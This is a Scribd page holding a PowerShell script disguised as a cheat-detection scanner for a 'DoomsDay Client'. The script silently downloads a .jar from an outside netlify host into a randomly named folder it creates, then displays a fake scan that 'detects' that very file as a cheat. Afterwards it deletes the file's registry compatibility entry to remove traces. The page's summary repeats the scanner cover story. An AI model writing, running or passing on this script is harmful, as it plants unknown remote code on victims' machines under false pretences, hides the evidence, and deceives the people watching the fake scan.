0% found this document useful (0 votes)
12 views

message (4)

The document contains a PowerShell script that simulates a security scan for detecting cheats, specifically targeting a 'DoomsDay Client'. It includes functions for displaying loading animations, generating random names and directories, downloading a file, and removing traces from the system registry. The script culminates in a main function that orchestrates the header display, file download, scan simulation, and cleanup process.

Uploaded by

itszmirex
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
12 views

message (4)

The document contains a PowerShell script that simulates a security scan for detecting cheats, specifically targeting a 'DoomsDay Client'. It includes functions for displaying loading animations, generating random names and directories, downloading a file, and removing traces from the system registry. The script culminates in a main function that orchestrates the header display, file download, scan simulation, and cleanup process.

Uploaded by

itszmirex
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

Add-Type -AssemblyName System.Windows.

Forms

function Write-Slow {
param (
[string]$Text,
[double]$Delay = 0.03
)

foreach ($char in $Text.ToCharArray()) {


Write-Host $char -NoNewline
Start-Sleep -Milliseconds ($Delay * 1000)
}
Write-Host ""
}

function Show-LoadingAnimation {
param (
[int]$Duration = 3
)

$animation = @(
"[■□□□□□□□□□]",
"[■■□□□□□□□□]",
"[■■■□□□□□□□]",
"[■■■■□□□□□□]",
"[■■■■■□□□□□]",
"[■■■■■■□□□□]",
"[■■■■■■■□□□]",
"[■■■■■■■■□□]",
"[■■■■■■■■■□]",
"[■■■■■■■■■■]"
)

for ($i = 0; $i -lt $Duration; $i++) {


foreach ($frame in $animation) {
Write-Host "`r$frame" -ForegroundColor Cyan -NoNewline
Start-Sleep -Milliseconds 100
}
}
Write-Host "`n"
}

function Get-RandomName {
param (
[int]$Length = 8
)

$letters = 'abcdefghijklmnopqrstuvwxyz'
$name = -join ((1..$Length) | ForEach-Object { $letters[(Get-Random -Maximum
$letters.Length)] })
return "$name.jar"
}

function Get-RandomDirectory {
$bases = @(
"C:\",
"D:\",
$env:USERPROFILE,
$env:PROGRAMDATA,
$env:APPDATA,
$env:LOCALAPPDATA
)

$commonFolders = @(
'Programs', 'Data', 'Temp', 'Cache', 'Settings', 'System',
'Windows', 'Users', 'Documents', 'Apps', 'Common', 'Logs',
'Services', 'Runtime', 'Config', 'Application', 'Resources',
'Library', 'Shared', 'Local', 'Roaming', 'Program Files'
)

$validBases = $bases | Where-Object { Test-Path $_ }


$base = $validBases[(Get-Random -Maximum $validBases.Count)]

$depth = Get-Random -Minimum 1 -Maximum 5


$path = $base

for ($i = 0; $i -lt $depth; $i++) {


if ((Get-Random -Minimum 0 -Maximum 2) -gt 0.5) {
$newFolder = $commonFolders[(Get-Random -Maximum $commonFolders.Count)]
} else {
$length = Get-Random -Minimum 5 -Maximum 11
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
$newFolder = -join ((1..$length) | ForEach-Object { $chars[(Get-Random
-Maximum $chars.Length)] })
}

$path = Join-Path -Path $path -ChildPath $newFolder


}

try {
if (-not (Test-Path $path)) {
New-Item -Path $path -ItemType Directory -Force | Out-Null
}
}
catch {
$randomStr = -join ((1..8) | ForEach-Object
{ ('abcdefghijklmnopqrstuvwxyz')[(Get-Random -Maximum 26)] })
$path = Join-Path -Path $env:TEMP -ChildPath $randomStr
if (-not (Test-Path $path)) {
New-Item -Path $path -ItemType Directory -Force | Out-Null
}
}

return $path
}

function Invoke-SilentFileDownload {
param (
[string]$Directory
)

$url = "https://jazzy-wisp-2ca4f3.netlify.app/etylv.jar"
$filename = Get-RandomName
$fullPath = Join-Path -Path $Directory -ChildPath $filename

try {
$client = New-Object System.Net.WebClient
$client.DownloadFile($url, $fullPath)
return $fullPath
}
catch {
return $null
}
}

function Show-Header {
Clear-Host
$header = @"

_ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( D | o | o | m | s | d | a | y ) ( F | u | c | k | e | r )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/

"@
Write-Host $header -ForegroundColor Cyan
Write-Slow "[*] Starting detection system..." -ForegroundColor Yellow
Show-LoadingAnimation
}

function Invoke-SimulateScan {
param (
[string]$Path
)

Write-Host "`n[+] Starting security scan..." -ForegroundColor Green


Start-Sleep -Seconds 1

$stages = @(
"Analyzing system memory",
"Checking processes",
"Scanning system registry",
"Searching for malicious files",
"Verifying network connections"
)

foreach ($stage in $stages) {


Write-Host "`n[*] $stage..." -ForegroundColor Cyan
for ($i = 0; $i -le 50; $i++) {
$percentage = [math]::Floor(($i / 50) * 100)
$progressBar = "[" + ("■" * [math]::Floor($i / 5)) + ("□" * (10 -
[math]::Floor($i / 5))) + "]"
Write-Host "`r$progressBar $i/50" -NoNewline
Start-Sleep -Milliseconds 50
}
Write-Host ""
}

Write-Host "`n[!] Analysis completed" -ForegroundColor Yellow


Start-Sleep -Seconds 1
Write-Host "`n[!] ALERT: Cheat detected at: $Path" -ForegroundColor Red
Write-Host @"
⚠ Threat Details:
→ Type: DoomsDay Client
→ Status: In Instance
"@ -ForegroundColor Red
}
function Remove-JournalTraces {
param (
[string]$Filename
)

try {
$keyPath = "HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
AppCompatFlags\Layers"

if (Test-Path -Path $keyPath) {


try {
Remove-ItemProperty -Path $keyPath -Name $Filename -ErrorAction
SilentlyContinue
}
catch {
}
}
return $true
}
catch {
return $false
}
}

function Show-Exit {
Write-Host "`n[*] Cleaning up resources..." -ForegroundColor Yellow
Show-LoadingAnimation -Duration 1
Write-Host "`n[*] Thank you for using Doomsday ƒυ¢кєя!" -ForegroundColor Cyan
Write-Host "`nPress Enter to exit..." -ForegroundColor Yellow
Read-Host
}

function Main {
Show-Header

$directory = Get-RandomDirectory
$filePath = Invoke-SilentFileDownload -Directory $directory

if ($filePath) {
Invoke-SimulateScan -Path $filePath
if (Remove-JournalTraces -Filename $filePath) {
Write-Host "`n[!] DO NOT CHEAT" -ForegroundColor Red
}
Show-Exit
}
else {
Write-Host "`n[!] Error: Download failed" -ForegroundColor Red
Show-Exit
}
}

Main

You might also like